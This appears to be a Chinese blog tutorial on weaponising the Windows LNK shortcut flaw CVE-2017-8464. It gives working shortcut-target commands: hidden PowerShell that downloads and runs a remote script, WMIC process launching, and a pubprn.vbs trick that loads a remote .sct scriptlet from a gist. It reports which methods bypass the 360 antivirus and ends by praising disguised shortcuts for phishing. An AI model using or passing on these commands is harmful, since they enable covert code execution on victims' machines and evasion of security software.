0x00.漏洞简介

漏洞编号:

CVE-2017-8464

漏洞名称:

Microsoft Windows LNK 远程代码执行漏洞

漏洞描述:

攻击者可以向用户呈现包含恶意的.LNK文件和相关联的恶意二进制文件的可移动驱动器或远程共享。 当用户在Windows资源管理器或解析.LNK文件的任何其他应用程序中打开此驱动器(或远程共享)时,恶意二进制程序将在目标系统上执行攻击者选择的代码,成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限。

0x01.Powershell利用

漏洞刚出来时,有玩家利用如下代码通过快捷方式执行powershell,加载远程脚本并执行代码:
powershell.exe -nop -WindowStyle Hidden -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xxx/x.ps1')
这种方式有很多好处,首先powershell功能强大,免杀能力强,其次这种利用方式能够直接加载远端脚本,无需像漏洞描述那样执行本地二进制文件。
但是这种方式现在已经能被各大杀软检测到,很难再做免杀,如下:
WX20170623-122706@2x.png

这时候对抗杀软就需要通过其他方式了,下面介绍两种。

0x02.WMIC利用

WMIC是windows自带的系统管理工具,功能比cmd强大,用来取代cmd。帮助文档可以参考https://msdn.microsoft.com/en-us/library/aa384642(v=vs.85).aspx 也可以在cmd下直接输入wmic进入交互界面查看帮助,这里不多介绍。
我们来看最基础的wmic执行系统命令,如下:
wmic /node:127.0.0.1 process call create "calc.exe"
直接在cmd下输入上入命令执行calc.exe,这时候我们来试试lnk的方式通过调用wmic执行命令:
屏幕快照 2017-06-23 下午12.46.36.png
用这种方式完美绕过360的检测,测试能够成功上线。
wmic虽然不及powershell强大,但比起cmd要强大太多,还是有很多可发掘的的地方。
当然上面这种方式也可以结合powershell来执行远端代码,就看你怎么组合,比如:
wmic /node:127.0.0.1 process call create "powershell -nop -WindowStyle Hidden -nop calc"

0x03.白名单脚本利用

不多说,直接上某大佬曾经给我推荐过一种方式:
cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 "script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct
WX20170623-130214@2x.png

我们来看下这段代码,首先利用cscript执行C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs,pubprn.vbs是系统自带的打印机脚本,至于后面通过script:https://的方式加载的sct文件,并执行里面的vb代码的原理我也没搞懂,可能这就是大佬的高端之处吧。
那我们先放下原理,结合.lnk文件漏洞来试验一波,.lnk目标直接写入代码:
C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 "script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct
如下成功执行:
WX20170623-143239@2x.png

对上述几种方法生成的快捷方式进行扫描,如下,只有powershell的被检测到,另外两种都能绕过360成功执行恶意代码上线。
WX20170623-143520@2x.png

0x04.总结

CVE-2017-8464这种通过快捷方式产生的漏洞本身没什么技术含量,其原理就相当于超链接一样。只不过随着powershell的发展,这种加载远端脚本并执行的方式因其隐蔽性强、留下的痕迹少而越来越受欢迎。
由于快捷方式这种超链接的特性,能够执行系统上任意程序或脚本,可玩性极大。除了上述提到的两种新玩法,所有命令执行的代码都可以通过快捷方式来执行,并且快捷方式的图标可以随便改成系统自带的各种图标,进一步提高了其隐蔽性,实乃居家旅行、杀人钓鱼之利器。